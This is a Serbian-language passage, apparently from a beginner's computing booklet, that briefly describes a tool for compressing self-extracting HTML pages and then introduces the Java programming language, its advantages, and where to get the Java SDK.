reiti sve vae probleme. Program pakuje html stranice koje se same otpakuju na raunaru posetioca kada se skinu sa servera tj. kada se klikne na link stranice ona se cela prebaci (skine, uita) na
raunar posetioca i onda se otpakuje i prikae u browseru. Za ovo nije potreban nikakav dodatni program jer stranica sama u sebi sadri rutinu za otpakivanje. Stanice mogu biti i do 30% manje u
odnosu na nezapakovani original. Kada se stranica jednom zapakuje, nije je mogue otpakovati pa
bi bilo poeljno da sauvate originalne stranice za potrebe prepravki. Program moe pakovati samo
html stranice. Stranice tipa php, js i sl. ne mogu se pakovati sa ovim programom. Program takoe
prua mogunost pakovanja samo dela stranice. Ovo je korisno jer tada metatagovi i ostali sl.
sadraj ostaje vidljiv za potrebe pretraivaa dok se ostali podaci na stranici pakuju i nisu razumljivi
za pregled. Odlian program koji moe poboljati pristup vaem sajtu kao i konfor i brzinu
uitavanja.
DRAGAN MARKOVIC
ta je Java?
Java je raunarski programski jezik koji je razvila firma Sun Microsystems. Programski jezik se
koristi za izdavanje instrukcija raunaru da obavi konkretne poslove. Java, mada relativno novi
jezik, nastao 1995. godine, izuzetno je popularna.
Prvi razlog za popularnost je njena cena potpuno je besplatna!. Mnogi drugi programski jezici prodaju ce po ceni od vie stotina ili hiljada dolara, to je za veinu ljudi glavna prepreka da ponu da
ue programiranje.
Drugi razlog za popularnost Jave je to to je Java programi mogu da se izvravaju na skoro svakom
tipu raunara. Kaemo da su Java programi nezavisni od platforme na kojoj se izvravaju.
Java moe da se koristi za razvoj raznovrsnih aplikacija. Postoje jednostavni tekstualno-zasnovani
programi koji se nazivaju konzolnim aplikacijama. Takvi programi podravaju samo tekstualni unos
i ispis na monitoru vaeg rauanara. Takoe, moete da pravite aplikacije sa grafikim korisnikim
interfejsom (engl. Graphical User Interface GUI). Ove aplikacije raspolau sa menijima, paletama
alatki, dugmadima, trakama za pomeranje sadraja drugim kontrolama koje reaguju na mia. Primeri GUI aplikacija koje ste u svom radu na raunaru ve koristili su programi za obradu teksta, programi za rad sa tabelama i raunarske igrice. Takoe, moete praviti i aplikacije koje se nazivaju
apleti (engl. Applets). To su male GUI aplikacije koje mogu da se izvravaju unutar web stranice.
Apleti daju dinaminost web stranicama. Mislim da ste ve uvideli univerzalnost programskog jezika
Java. Na ovom kursu krenuemo od prostih konzolnih aplikacija. To e nam omoguiti da se
koncentriemo na uenje osnova Jave bez uputanja u svet grafikog korisnikog interfejsa.
Drugo popularno svojstvo Jave je to to je ona objektno orijentisana. To je fini nain da se kae da
su Java programi sainjeni od vie osnovnih delova (komponenti) koji mogu da se vie puta koriste.
To za vas kao Java programera znai da moete da pravite i menjate velike programe bez veih komplikacija. Tokom ovog kursa vie puta ete se sresti sa terminom objekt (engl. Object), a tokom izlaganja kursa taj koncept e vam postati jasan.
Poslednja prednost Jave je to to je ona prost jezik,u poreenju sa drugim programskim jezicima i
zbog toga se relativno lako ui. Ta jednostavnost je neophodna da bi se podrala nezavisnost Java
aplikacija od tipa platforme (sposobnost da se izvrava na svakom tipu raunara). Meutim, ta
jednostavnost ne znai da Java nije moan programski jezik. Moete pomou Jave da uradite sve
ono to moete da uradite sa bilo kojim mnogo sloenijim programskim jezikom.
Zato uiti Javu?
Moemo postaviti i pitanje Zato uiti programski jezik? Postoji vie razloga za to. Prvo, ukoliko
znate da programirate, razumeete bolje kako raunari rade. Drugo, pisanje programa je dobra
veba za razvijanje vetine razmiljanja morate dobro logiki da razmiljate da biste napisali
raunarske programe.. Takoe, morate pomalo biti i perfekcionista, raunari nisu toliko pametni i
zato zahtevaju strogo precizne instrukcije da bi obavili svoje poslove. Tree, raunarski programeri
su veoma traeni i zarauju mnogo novca. Na kraju, pisanje raunarskih programa je zabavno.
Posebno je zadovoljstvo kada vidite svoju ideju kako ivi na ekranu raunara.
Zbog jednostavnosti Jave, brzo ete nauiti kako se piu Java programi. Meutim, to to ete brzo
napisati svoj prvi Java program ne znai da ste nauili sve to treba da znate o Javi. Ovaj kurs je
DRAGAN MARKOVIC
samo kratak uvod u Javu, stoga smatrajte ga kao prvi korak na putu koji vodi do zvanja Java programera.
Potrebni resursi
Da biste pisali i izvravali Java programe, potreban vam je Java Software Development Kit (Java
SDK). To je besplatan proizvod koji moete preuzeti preko Interneta. To jednostavno znai da ete
iskopirati tzv. instalacionu datoteku na svoj raunar, pokrenuti instalaciju i zatim poeti sa radom.
Ovaj proizvod moete nai na adresi http://java.sun.com.